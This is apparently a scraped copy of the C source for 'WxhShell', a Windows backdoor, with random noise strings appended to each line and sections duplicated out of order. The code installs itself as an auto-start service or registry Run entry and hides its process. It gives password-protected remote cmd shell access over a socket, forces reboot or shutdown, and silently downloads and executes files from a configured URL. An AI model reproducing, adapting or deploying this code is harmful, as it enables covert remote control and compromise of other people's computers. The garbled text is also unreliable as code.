    } d`9W  
    break; pwFU2}I  
    } FpdDIa  
  // 关机 /lS+J(I  
  case 'd': { kfqpI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e~+(7_2  
    if(Boot(SHUTDOWN)) f=:3!k,S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wovmy{K  
    else { m/YH^N0  
    closesocket(wsh); >:F,-cx<  
    ExitThread(0); VG<Hw{ c3r  
    } @cuD8<\i  
    break; Ka]J^w;a  
    } $5TepH0D  
  // 获取shell ;m@1Ec@* p  
  case 's': { 2SDh0F  
    CmdShell(wsh); ~!nLbK2  
    closesocket(wsh); kgbobolA  
    ExitThread(0); Q;$ 9qOF  
    break; W NwJM  
  } s;fVnaqG:  
  // 退出 eeW' [  
  case 'x': { uFwU-LCe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )\T@W  
    CloseIt(wsh); $ ^W-Wmsz  
    break; F . K2  
    } "t[M'[ `C  
  // 离开 On{~St'V  
  case 'q': { gohAp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]ZzoJ7lr  
    closesocket(wsh); uQGz;F x  
    WSACleanup(); 7$!`p,@we/  
    exit(1); AIZW@Nq.5  
    break; "wA0 LH_  
        }  20I4r  
  } M"=8O>NZ2  
  } $hG;2v  
I86e&"40  
  // 提示信息 s<A*[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q~fwWp-J  
} *0%4l_i  
  } )n\*ht7  
SU?wFCGT%  
  return; gw_|C|!P  
} p= !#],[  
`9.dgV  
// shell模块句柄 I2TD.wuIW  
int CmdShell(SOCKET sock) mD9STuA$H  
{ 79)A%@YHQQ  
STARTUPINFO si; B0f_kH~p~  
ZeroMemory(&si,sizeof(si)); "'['(e+7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =2^Vgc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s~S?D{!  
PROCESS_INFORMATION ProcessInfo; NTqo`VWe  
char cmdline[]="cmd"; [f<"p[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q1YLq(e  
  return 0; oi7 3YOB  
} K!3{M!B   
Y)$52m5rM  
// 自身启动模式 QJx9I_  
int StartFromService(void) DdBxqkh  
{ n!GWqle  
typedef struct 8@E8!w&~  
{ TE3*ktB{N  
  DWORD ExitStatus; (# JMB)  
  DWORD PebBaseAddress; @Z?7E8(  
  DWORD AffinityMask; 6fh{lx>  
  DWORD BasePriority; ecn}iN  
  ULONG UniqueProcessId; :/+>e IE  
  ULONG InheritedFromUniqueProcessId; 2 9q?$V(  
}   PROCESS_BASIC_INFORMATION; +0VG[ c\8  
A#<vG1  
PROCNTQSIP NtQueryInformationProcess; S8\+XJ  
`SCy<w3$+[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (~S<EUc$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _1sP.0 t  
&k1/Z*/  
  HANDLE             hProcess; r)VLf#3B  
  PROCESS_BASIC_INFORMATION pbi; XZ} de%U1  
`)"tO&Fn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lp(Nv(S  
  if(NULL == hInst ) return 0; 4[`[mE18.  
{5>3;.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -  $%jb2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )AOPiC$jL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o6*/o ]]  
sp|q((z{  
  if (!NtQueryInformationProcess) return 0; +9RJ%i&Ec  
=M/qV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); : (cb2j(C  
  if(!hProcess) return 0; :3v9h^|+  
C1 W>/?XC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PC|'yAN:  
C5Xof|#p|  
  CloseHandle(hProcess); h%' N hV  
?4,@, ae&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sH%&+4!3  
if(hProcess==NULL) return 0; s}wO7Df=+  
:AZp}  
HMODULE hMod; $57\u/(  
char procName[255]; ) ]73S@P(=  
unsigned long cbNeeded; iAK/d)bq  
F#su5<d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~P/]:=  
B~?c3:6  
  CloseHandle(hProcess); *|oPxQCtK  
F=srkw:*.  
if(strstr(procName,"services")) return 1; // 以服务启动 Vc|NL^  
D ZVXz|g  
  return 0; // 注册表启动 3)Zu[c[%'J  
} Vb2\/e:k  
ZW>o5x__b  
// 主模块 [UoqIU  
int StartWxhshell(LPSTR lpCmdLine) Rs2-94$!5  
{ M+0x;53nz  
  SOCKET wsl; /jR8|sb  
BOOL val=TRUE; Wm(:P  
  int port=0; 6+iK!&+=  
  struct sockaddr_in door; n'yl)HA~>`  
8)pB_en3sO  
  if(wscfg.ws_autoins) Install(); L?HF'5o  
`_GO=QQ  
port=atoi(lpCmdLine); ilv_D~|  
>Fyu@u  
if(port<=0) port=wscfg.ws_port; vO]J]][  
'*4iqP R;  
  WSADATA data; ,ijW(95{k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )A"jVQjI%w  
JA<~xo[Q9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gKWzFnW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uN9e:;  
  door.sin_family = AF_INET; AF GwT%ZD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KSc~GP _  
  door.sin_port = htons(port); =5ug\S  
@ u+|=x];  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8b7;\C~$p  
closesocket(wsl); )!eEO [\d  
return 1; VD/&%O8n  
} Lyr2(^#:  
088C|  
  if(listen(wsl,2) == INVALID_SOCKET) { ^>^ \CP]  
closesocket(wsl); NI8~QeGah  
return 1; KzG_ <<  
} uf]Y^,2  
  Wxhshell(wsl); VHW`NP 5Jl  
  WSACleanup(); ,E?4f @|X  
.fEw k  
return 0; Ukc'?p,*  
<(YF5Xm6$h  
} FZp<|t  
n' ?4.tb  
// 以NT服务方式启动 "U{,U`@?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pDOM:lGya  
{ oIb) Rq!m  
DWORD   status = 0; Y 9i][  
  DWORD   specificError = 0xfffffff; 0wFh%/:  
-L8Y J8J6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ M*gsW$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y"-{$N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b =b :  
  serviceStatus.dwWin32ExitCode     = 0; RL*]g*  
  serviceStatus.dwServiceSpecificExitCode = 0; TT7PQf >  
  serviceStatus.dwCheckPoint       = 0;  P?J kP  
  serviceStatus.dwWaitHint       = 0; {2:d` fqD  
(;UP%H>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +i=p5d5  
  if (hServiceStatusHandle==0) return; 59i]  
PBrnzkoY  
status = GetLastError(); 2ce'fMV  
  if (status!=NO_ERROR) O&V[g>x"U  
{ #ZlM?Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;& ~929  
    serviceStatus.dwCheckPoint       = 0; !BUi)mo  
    serviceStatus.dwWaitHint       = 0; 6e# wR/  
    serviceStatus.dwWin32ExitCode     = status; Cw#V`70a  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lm|al.Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m gVML&^  
    return; ?E7=:h(@t  
  } o?wt$j-  
R hio7C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~^7r?<aKc  
  serviceStatus.dwCheckPoint       = 0; h<Wg3o  
  serviceStatus.dwWaitHint       = 0; ,QvYTJ{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h<% U["   
} ~<,Sh~Ana.  
H&bh<KPMh  
// 处理NT服务事件,比如:启动、停止 C3}Aq8$6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yp+F<5o  
{ P}@*Z>j:#  
switch(fdwControl) N09KVz2Q  
{ =dGKF`tR  
case SERVICE_CONTROL_STOP: s}(X]Gx1  
  serviceStatus.dwWin32ExitCode = 0; El (/em  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8l23%iWxe  
  serviceStatus.dwCheckPoint   = 0; JZ=5Bpw  
  serviceStatus.dwWaitHint     = 0; )%VCzye*{  
  { GV8)Kor%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kA^A mfba  
  } {|6z+vR  
  return; gz61FW  
case SERVICE_CONTROL_PAUSE: 5B*qbM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o&$hYy"<.L  
  break; fHfY}BQS  
case SERVICE_CONTROL_CONTINUE: 2~FPw{]j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |I^y0Q:K  
  break; y|sma;D  
case SERVICE_CONTROL_INTERROGATE: {mSJUK?TKl  
  break; 8lwM{?k$  
}; dy:d=Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Adsq8sFW  
} K-(;D4/sQE  
d>!p=O`>{q  
// 标准应用程序主函数 {/ &B!zvl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5v9uHxy  
{ S}7>RHe  
4ht\&2&:  
// 获取操作系统版本 uyT/Xzo3  
OsIsNt=GetOsVer(); /9_#U#vhY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2 B` 8eb  
+< KNY  
  // 从命令行安装 "}zda*z8  
  if(strpbrk(lpCmdLine,"iI")) Install(); &fSTR-8ev#  
xl2g0?  
  // 下载执行文件 LgHJo-+>  
if(wscfg.ws_downexe) { m r4b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "'A"U  
  WinExec(wscfg.ws_filenam,SW_HIDE); |sc Uo~  
} ({M?Q>s  
% {Q-8w!  
if(!OsIsNt) { !8$RBD %  
// 如果时win9x,隐藏进程并且设置为注册表启动  YqU/\f+  
HideProc(); JJ5C}`(  
StartWxhshell(lpCmdLine); f1Zt?=  
} kCA5|u  
else ?/d!R]3  
  if(StartFromService()) wL2XNdo}<  
  // 以服务方式启动 D1Yh,P<CF\  
  StartServiceCtrlDispatcher(DispatchTable); ;+`uER  
else ^,V[nfQR  
  // 普通方式启动 xvDI 4x&  
  StartWxhshell(lpCmdLine); uvB1VV4  
,%hj cGX11  
return 0; w^o }E)O  
} <*Y'lV  
GBbhar},g  
DB@EVH  
]0/p 7N14  
=========================================== ]MAT2$"le  
A*'V+(  
;fGx;D  
U)[ty@zyF  
y $V[_TN  
LC-)'Z9}5  
" (vQ+e  
 U:|H9+5  
#include <stdio.h> J&6:d  
#include <string.h> Gzm$OHbn  
#include <windows.h> s;{K!L@  
#include <winsock2.h> ez*jjm  
#include <winsvc.h> iP "EA8  
#include <urlmon.h> ( v@jc8y  
VJ{pN~_1  
#pragma comment (lib, "Ws2_32.lib") SI*^f\lu  
#pragma comment (lib, "urlmon.lib") \!H{Ks{#R.  
B*@6xS[IL  
#define MAX_USER   100 // 最大客户端连接数 Dg2uE8k  
#define BUF_SOCK   200 // sock buffer V8"Wpl9Cz  
#define KEY_BUFF   255 // 输入 buffer 0YS?=oi  
O3%[dR  
#define REBOOT     0   // 重启 s#^pC*,'  
#define SHUTDOWN   1   // 关机 k/lFRi-i  
iZ; TYcT  
#define DEF_PORT   5000 // 监听端口 np6HUH  
DU{bonR`  
#define REG_LEN     16   // 注册表键长度 l4ouZR  
#define SVC_LEN     80   // NT服务名长度 8#f$rs(}  
qY# d+F,t  
// 从dll定义API , Oli  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @vs@>CYdz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~7SH4Cr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aqr!oxn?t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _!AJiP3!)4  
(wA?;]q(  
// wxhshell配置信息 W9R`A  
struct WSCFG { o^ h(#%O  
  int ws_port;         // 监听端口 _V@P-Ye  
  char ws_passstr[REG_LEN]; // 口令 .nZ3kT`  
  int ws_autoins;       // 安装标记, 1=yes 0=no qY(:8yC36  
  char ws_regname[REG_LEN]; // 注册表键名 T9)wj][ .  
  char ws_svcname[REG_LEN]; // 服务名 X\sm[_I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V(mn yI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +Me2U9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1^{`lK~2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ._<ii2K'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JSW&rn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =n0*{~r  
fk3kbdI  
}; 8/Rm!.8+~  
MF.[8Zb  
// default Wxhshell configuration T;?+kC3  
struct WSCFG wscfg={DEF_PORT, % vS8?nG  
    "xuhuanlingzhe", 8tQ|-l *  
    1, vJC f~'  
    "Wxhshell", d6.}.*7Whc  
    "Wxhshell", s AE9<(g&@  
            "WxhShell Service", 0BTLcEqgZ  
    "Wrsky Windows CmdShell Service", <_:zI r,  
    "Please Input Your Password: ", (pYYkR"  
  1, 9]$`)wZ  
  "http://www.wrsky.com/wxhshell.exe", Y}.Ystem  
  "Wxhshell.exe" /iC_!nu  
    }; V5 MO}  
6Rz[?-mkLO  
// 消息定义模块 GGE[{Gb9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c8ZCs?   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8H $#+^lW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JTUNb'#RZ  
char *msg_ws_ext="\n\rExit."; >q(6,Mmb  
char *msg_ws_end="\n\rQuit."; xm^95}80yh  
char *msg_ws_boot="\n\rReboot..."; :ba/W&-d  
char *msg_ws_poff="\n\rShutdown..."; eXzXd*$S  
char *msg_ws_down="\n\rSave to "; '_o@V O  
@"8R3BN  
char *msg_ws_err="\n\rErr!"; ;<-7*}Dj  
char *msg_ws_ok="\n\rOK!"; y/R+$h(%  
0.DQO;  
char ExeFile[MAX_PATH]; - L~Uu^o  
int nUser = 0; 0HbJKix!  
HANDLE handles[MAX_USER]; ;~/4d-  
int OsIsNt; a [C&e,)}  
H/jm f5  
SERVICE_STATUS       serviceStatus; l{%a&/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y';>O`  
:p-Y7CSSu  
// 函数声明 iJP{|-h  
int Install(void); Z"tQp Jg  
int Uninstall(void); UqtHxEI%R~  
int DownloadFile(char *sURL, SOCKET wsh); /`+7_=-  
int Boot(int flag); *K)0UKBr  
void HideProc(void); ~:2K#q5C  
int GetOsVer(void); 8:{ q8xZ=k  
int Wxhshell(SOCKET wsl); tWk{1IL  
void TalkWithClient(void *cs); 2k+16/T  
int CmdShell(SOCKET sock); -e*BqH2t  
int StartFromService(void); }ND'0*#  
int StartWxhshell(LPSTR lpCmdLine); ")M;+<c"l  
:s*>W$Wp4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >L[lV_M_>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C1QWU5c v  
6%?A>  
// 数据结构和表定义 {tt$w>X  
SERVICE_TABLE_ENTRY DispatchTable[] = &jm[4'$ *z  
{ kxo.v|)8  
{wscfg.ws_svcname, NTServiceMain}, ;|30QUYh  
{NULL, NULL} `C'}e  
}; ct0v$ct>f  
f z%tA39m  
// 自我安装 KXe ka  
int Install(void) ( V4G<-jG  
{ O5-;I,)H  
  char svExeFile[MAX_PATH]; x!?Z *v@I  
  HKEY key; 'F5)ACA%  
  strcpy(svExeFile,ExeFile);  :]c=pH  
F<r4CHfh;  
// 如果是win9x系统,修改注册表设为自启动 m2b`/JW  
if(!OsIsNt) {  cht  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u^=@DO'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jG8;]XP  
  RegCloseKey(key); !6E:5=L^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }W}G X(?P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y/P]5: =h  
  RegCloseKey(key); ,qy&|4Jz  
  return 0; WQt5#m; W  
    } HV\"T(8 9  
  } 1nB@zBQu -  
} 7bT /KLU  
else { J@` 8(\(  
DHzkRCM  
// 如果是NT以上系统,安装为系统服务 Zh,]J `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p&5S|![\  
if (schSCManager!=0) EUZq$@uWL  
{ Ab g$W/(|  
  SC_HANDLE schService = CreateService |<Bpv{]P  
  ( -S$$/sR  
  schSCManager, :bv|Ah  
  wscfg.ws_svcname, q6&67u0  
  wscfg.ws_svcdisp, -eL'KO5'  
  SERVICE_ALL_ACCESS, /f&By p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b *9-}g:  
  SERVICE_AUTO_START, `a'` $'j  
  SERVICE_ERROR_NORMAL, a#QBy P  
  svExeFile, }+DDJ6Jzs  
  NULL, C1 {ZW~"YI  
  NULL, xid:"y=_&  
  NULL, T} 8CfG_ j  
  NULL, <gcmsiB|  
  NULL o)!m$Q~v  
  ); #=x+ [d+  
  if (schService!=0) & rQD`E/  
  { |EeBSRAfe  
  CloseServiceHandle(schService); o7 arxo\  
  CloseServiceHandle(schSCManager); @dV9Dpu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T6=-hA^A  
  strcat(svExeFile,wscfg.ws_svcname); ;eh/_hPM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [; @):28"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CB({Rn  
  RegCloseKey(key); %uuH^A  
  return 0; ?9S+Cj`  
    } `[@VxGy_  
  } yFO)<GLk  
  CloseServiceHandle(schSCManager); +2y&B,L_Wh  
} [<Jp#&u6sb  
} Nt,~b^9  
{F!v+W>  
return 1; u _X} -U  
} ^j iE9k)  
8t\}c6/3"  
// 自我卸载 !x_t`78T  
int Uninstall(void) I>Y{>S  
{ I61%H9 ;  
  HKEY key; ;^ov~PPl  
>13/h]3  
if(!OsIsNt) { l0#4Fma  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $WClpvVj  
  RegDeleteValue(key,wscfg.ws_regname); * gHCy4u{  
  RegCloseKey(key); MCHOK=G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4cB&Hk  
  RegDeleteValue(key,wscfg.ws_regname); B_tQeM  
  RegCloseKey(key); kp; &cQu!  
  return 0; Nm"<!a<F  
  } C9pnU,[  
} N(BiOLZL6  
} j%5a+(H,z;  
else { x~Cz?ljbn  
Um'Ro4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q_pmwJ:UL  
if (schSCManager!=0) 0Jg+sUs{  
{ ',#   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J% AG`  
  if (schService!=0) idz9YpW  
  { QQq/5r4O`q  
  if(DeleteService(schService)!=0) { .5z&CJDiIi  
  CloseServiceHandle(schService); i*z0Jf["  
  CloseServiceHandle(schSCManager); 8~qlLa>jc  
  return 0; ^k;mn-0  
  } 1b+h>.gWar  
  CloseServiceHandle(schService); m2ox8(sd  
  } p2^)2v  
  CloseServiceHandle(schSCManager); j%u8=  
} E@mkm  
} ,P~QS  
!U[:5@s06  
return 1; Pv[ykrm/  
} 2_.CX(kI  
h[,XemwX  
// 从指定url下载文件 Oc~VHT  
int DownloadFile(char *sURL, SOCKET wsh) H\d;QN9Q;  
{ kw#X]`c3  
  HRESULT hr; AbG&9=Ks  
char seps[]= "/"; a_AJ)4  
char *token; <k5`&X!+  
char *file; S%{lJYwXt  
char myURL[MAX_PATH]; UI_v3c3b  
char myFILE[MAX_PATH]; <dS5|||  
> '.[G:b  
strcpy(myURL,sURL); vuW-}fY;  
  token=strtok(myURL,seps); _1\poAy  
  while(token!=NULL) ?ff [$ab  
  { G1TANy  
    file=token; LGXZx}4@;  
  token=strtok(NULL,seps); 1Df, a#,y"  
  } %2,/jhHL  
:-U53}Iy  
GetCurrentDirectory(MAX_PATH,myFILE); tStJ2-5*t  
strcat(myFILE, "\\"); ]6q*)q:`  
strcat(myFILE, file); St_S l:m$  
  send(wsh,myFILE,strlen(myFILE),0); 1[px`%DR~  
send(wsh,"...",3,0); >-eS&rma  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S NN#$8\  
  if(hr==S_OK) RB *P0  
return 0; ]An_5J  
else xjE7DCmA  
return 1; _V&x`ks  
*cPN\Iu.W  
} yduuFK  
wZ O@J|  
// 系统电源模块 ^t7_3%%w  
int Boot(int flag) 7<vy;"wB  
{ !9PX\Xbn  
  HANDLE hToken; 8M~u_`6  
  TOKEN_PRIVILEGES tkp; vU7&'ca  
EFeAr@nj  
  if(OsIsNt) { A^t"MYX@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R7,p ukK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UL[uh@4  
    tkp.PrivilegeCount = 1; z41D^}b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AT-0}9z{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lqauk)(A0  
if(flag==REBOOT) { 8'n#O>V@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qA04Vc[2  
  return 0; ss*5.(y  
} y1nP F&_  
else { _E&U?>g+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y&h~Oa?,;  
  return 0; VYHOk3  
} Z rA Um  
  } 8z?$t-DO  
  else { mcCB7<. e  
if(flag==REBOOT) { w gmWo8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yX`J7O{=  
  return 0; eXc[3ceUr  
} 5R)[Ou.  
else { RZ<.\N (M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ": nI_~q  
  return 0; =?^-P{:\?  
} ,Io0ZE>`V  
} NWeV>;lh9  
5%'o%`?i  
return 1; Nz}|%.GP"  
} w{~" ;[@  
1R*1BStc  
// win9x进程隐藏模块 tD865gi  
void HideProc(void) <Nvlk\LQ  
{ nM=2"`@$  
% /~os2R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *u58l(&`8  
  if ( hKernel != NULL ) `Y0fst<,  
  { ]!q }|bP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /\nJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ 0av3G  
    FreeLibrary(hKernel); BF>T*Z-Ki  
  } 1xq3RD  
%s]U@Ku(a  
return; dP?nP(l  
} nMLU-C!t  
Sb^add0dT  
// 获取操作系统版本 `Yg7,{A\J  
int GetOsVer(void) \MF3CK@/  
{ )8 oEs  
  OSVERSIONINFO winfo; gh.w Li$+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X #&(~1O  
  GetVersionEx(&winfo); w 7Cne%J8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e og\pMv  
  return 1; CZF^Wxk  
  else Y!bpOa&  
  return 0; 3/SfUfWo  
} 4 fZY8  
K<D`(voL  
// 客户端句柄模块 lp?i_p/z  
int Wxhshell(SOCKET wsl) 7ZL,p:f  
{ !Jk(&.  
  SOCKET wsh; MiRibHXI,  
  struct sockaddr_in client; nZ"{y  
  DWORD myID; y?[5jL|Ue  
pM1=U F  
  while(nUser<MAX_USER) ~GAlNIv]  
{ h<+PP]l=  
  int nSize=sizeof(client); -7&^jP\,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?T tQZ  
  if(wsh==INVALID_SOCKET) return 1; s@/B*r9  
pK-_R#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q@PJ)fwN  
if(handles[nUser]==0) <)r,CiS  
  closesocket(wsh); @$2`DI{_^  
else <\B],M1=s=  
  nUser++; VaOpO8y`  
  } AN|jFSQ'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4he v ;  
zv8aV2?D  
  return 0; r)) $XM  
} 6-)7:9y  
;D%$Eh&oma  
// 关闭 socket LsuAOB 8  
void CloseIt(SOCKET wsh) !l sy&6  
{ md1EJ1\14  
closesocket(wsh); 2tm~QL  
nUser--; `V?x xq\  
ExitThread(0); XLkL#&Ir  
} x.jYip  
K0d-MC   
// 客户端请求句柄 s :-8 Z\,  
void TalkWithClient(void *cs) GN"M:L ^k`  
{ 6ON  
Z"teZ0H  
  SOCKET wsh=(SOCKET)cs; *+_fP|cv  
  char pwd[SVC_LEN]; ;t.SiA  
  char cmd[KEY_BUFF]; QO1A976o  
char chr[1]; 6i*ArGA   
int i,j; S3%.-)ib  
.WN;TjEg!  
  while (nUser < MAX_USER) { I!C(K^  
WLg6-@kxXs  
if(wscfg.ws_passstr) { wgSR*d>y*9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g=8|z#S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ):|G k Sm  
  //ZeroMemory(pwd,KEY_BUFF); TFiuz; *|  
      i=0; 7I2a*4}  
  while(i<SVC_LEN) { m'G?0^Ft  
N7RG5?  
  // 设置超时 &0;{lS[N:L  
  fd_set FdRead; P#vv+]/  
  struct timeval TimeOut; 3B!&ow<rt  
  FD_ZERO(&FdRead); N}.Q%&6:  
  FD_SET(wsh,&FdRead); sRo<4U0M;l  
  TimeOut.tv_sec=8; )A>U<n$h  
  TimeOut.tv_usec=0; Zi[{\7a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wiK@o$S-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lOowMlf@2  
W TXD4}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZNL;8sI?>  
  pwd=chr[0]; *@$($<pY&  
  if(chr[0]==0xd || chr[0]==0xa) { #z-iL!?  
  pwd=0; V7K tbL#  
  break; ($ [r>)TG  
  } AAlmG9l&7  
  i++; ~PU1vbv9T  
    } h%C Eb<  
Knw'h;,[  
  // 如果是非法用户,关闭 socket _D7HQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H3UX{|[  
} o2 T/IJP  
7Ap~7)z[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XNkQk0i;g&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (dO'_s&M]/  
)<]w23i  
while(1) { q>(I*=7  
1?e>x91  
  ZeroMemory(cmd,KEY_BUFF); ~u~[E  
s= GOB"G  
      // 自动支持客户端 telnet标准   V1CSXY\2  
  j=0; M<M# < kD  
  while(j<KEY_BUFF) { A .jp<>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WacU@L $A  
  cmd[j]=chr[0]; KL:6P-3  
  if(chr[0]==0xa || chr[0]==0xd) { c4qp3B_w  
  cmd[j]=0; M'>D[5;N~  
  break; \M'bY:  
  } V{AH\IV-  
  j++; r0hta)xa  
    } Je4.9?Ch  
|)!k @?_  
  // 下载文件 @kCD.  
  if(strstr(cmd,"http://")) { f!uA$uL c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0T{c:m~QXe  
  if(DownloadFile(cmd,wsh)) {'=Nb 5F  
